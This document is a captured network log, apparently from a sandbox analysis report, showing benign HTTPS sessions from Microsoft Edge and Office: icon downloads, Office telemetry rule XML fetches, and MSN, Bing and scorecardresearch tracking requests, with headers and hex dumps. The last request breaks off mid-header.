Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.6	49872	23.209.72.21	443	7188	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:53 UTC	751	OUT	GET /statics/icons/favicon_newtabpage.png HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=21DC5826412B689A12D14D66402C691D; _EDGE_S=F=1&SID=0E1A4FCA525B6B4B30B15A8A53886AFC; _EDGE_V=1
2024-11-23 04:02:53 UTC	1002	IN	HTTP/1.1 200 OK Content-Type: image/png ETag: "bed4a7cc95f6106c7a3d46d2b50cb3f8:1614709529.490117" Last-Modified: Tue, 02 Mar 2021 18:25:29 GMT Server: AkamaiNetStorage Date: Sat, 23 Nov 2024 04:02:53 GMT Content-Length: 354 Connection: close Alt-Svc: h3=":443"; ma=86400 Akamai-Request-BC: [a=23.210.4.153,b=944363750,c=g,n=US_NJ_SECAUCUS,o=20940] Server-Timing: clientrtt; dur=2, clienttt; dur=1, origin; dur=0, cdntime; dur=1, wpo;dur=0,1s;dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.210.4.153 Akamai-Request-ID: 3849d8e6 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Cache-Control: public, max-age=31536000 report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Timing-Allow-Origin: * Akamai-GRN: 0.9904d217.1732334573.3849d8e6 Vary: Origin
2024-11-23 04:02:53 UTC	354	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 f7 49 44 41 54 78 01 ed 57 d1 0d 83 20 10 7d e9 04 8c d0 51 d8 a4 8e e0 06 32 42 37 b2 23 74 03 47 a0 1b b4 10 21 62 cb 79 ca d1 f8 c3 4b 5e 34 70 be 7b 22 07 08 34 fc 42 3b 8e 8e d6 f1 5d 91 5e f3 c6 25 1f 2a 27 cd 71 a0 92 77 49 90 71 54 44 5c 8c 39 02 af d5 27 cf ea 5c d0 18 3a 7b 46 ac c4 40 84 c1 f2 39 48 61 85 ff 19 50 e1 59 2b 11 8e 93 f3 8a 32 90 79 f6 1a 30 a8 33 19 8b 0d 78 dc 21 2f 53 91 01 09 56 79 2e 38 19 cd 40 33 b0 c7 c0 0d 73 c9 4d 58 ef 66 47 db 59 50 65 38 25 7d 56 d0 9e cd b3 67 04 Data Ascii: PNGIHDR szzpHYs%%IR$sRGBgAMAaIDATxW }Q2B7#tG!byK^4p{"4B;]^%*'qwIqTD\9'\:{F@9HaPY+2y03x!/SVy.8@3sMXfGYPe8%}Vg

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.6	49893	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:53 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:53 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:53 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: df4f394c-601e-0002-2a39-3ca786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040253Z-178bfbc474bp8mkvhC1NYCzqnn00000003sg00000000bkzw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:54 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.6	49894	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:53 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:54 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:54 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 848b8d5b-d01e-00a1-7163-3b35b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040254Z-178bfbc474bh5zbqhC1NYCkdug00000003v000000000cdy4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:54 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.6	49896	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:53 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:54 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:54 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 85babd8c-f01e-003f-4e8c-3ad19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040254Z-174c587ffdfl22mzhC1TEBk40c00000002f000000000m81p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:54 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.6	49895	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:53 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:54 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:54 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 18f8ca6a-701e-005c-1e55-3dbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040254Z-174c587ffdfn4nhwhC1TEB2nbc00000002cg00000000ntsq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 04:02:54 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.6	49897	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:53 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:54 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:54 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: abaf503b-901e-0064-2b47-3ce8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040254Z-178bfbc474bnwsh4hC1NYC2ubs00000003z000000000e1v4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:54 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.6	49871	20.110.205.119	443	7188	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:55 UTC	1175	OUT	GET /c.gif?rnd=1732334574868&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=46462d4fbb474e0d92404563aece9897&activityId=46462d4fbb474e0d92404563aece9897&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=21DC5826412B689A12D14D66402C691D; _EDGE_S=F=1&SID=0E1A4FCA525B6B4B30B15A8A53886AFC; _EDGE_V=1
2024-11-23 04:02:55 UTC	1108	IN	HTTP/1.1 302 Redirect Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Location: https://c.bing.com/c.gif?rnd=1732334574868&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=46462d4fbb474e0d92404563aece9897&activityId=46462d4fbb474e0d92404563aece9897&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=D6BD8FCA1E324A11A7C1D2CDE9E69056&RedC=c.msn.com&MXFR=21DC5826412B689A12D14D66402C691D Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=T; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=21DC5826412B689A12D14D66402C691D; domain=.msn.com; expires=Thu, 18-Dec-2025 04:02:55 GMT; path=/; SameSite=None; Secure; Priority=High; Date: Sat, 23 Nov 2024 04:02:54 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.6	49901	13.107.246.40	443	7188	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:55 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 04:02:55 UTC	543	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:55 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: ba0503ac-c01e-0053-172a-3d7408000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T040255Z-178bfbc474btrnf9hC1NYCb80g000000043g000000008myd Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 04:02:55 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.6	49902	13.107.246.40	443	7188	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:55 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 04:02:55 UTC	516	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:55 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: 31693453-e01e-0066-045c-3dda5d000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T040255Z-15b8b599d88g5tp8hC1TEByx6w000000029g00000000gtdq Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-23 04:02:55 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.6	49875	3.168.73.83	443	7188	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:55 UTC	925	OUT	GET /b?rn=1732334574869&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=21DC5826412B689A12D14D66402C691D&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 04:02:55 UTC	955	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Sat, 23 Nov 2024 04:02:55 GMT Accept-CH: UA, Platform, Arch, Model, Mobile Location: /b2?rn=1732334574869&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=21DC5826412B689A12D14D66402C691D&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=1A22a02efe758d6a15abe3f1732334575; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=1A22a02efe758d6a15abe3f1732334575; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 X-Cache: Miss from cloudfront Via: 1.1 c9bb4fe0eab749aeaa806c8ad0ce55e0.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P9 X-Amz-Cf-Id: D0c2GsPuRpmWd78iQ4PEmAEReU6RQqyRbXGmwt73-jnXfy1-YB7aJw==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.6	49870	13.107.21.237	443	7188	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:55 UTC	1269	OUT	GET /c.gif?rnd=1732334574868&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=46462d4fbb474e0d92404563aece9897&activityId=46462d4fbb474e0d92404563aece9897&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=D6BD8FCA1E324A11A7C1D2CDE9E69056&RedC=c.msn.com&MXFR=21DC5826412B689A12D14D66402C691D HTTP/1.1 Host: c.bing.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-MS-GEC: 96731DF915C848528029D0C8765D5FD12A9D1CF7469E1C5AB4CEEB7537F1D669 Sec-MS-GEC-Version: 1-117.0.2045.55 Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: 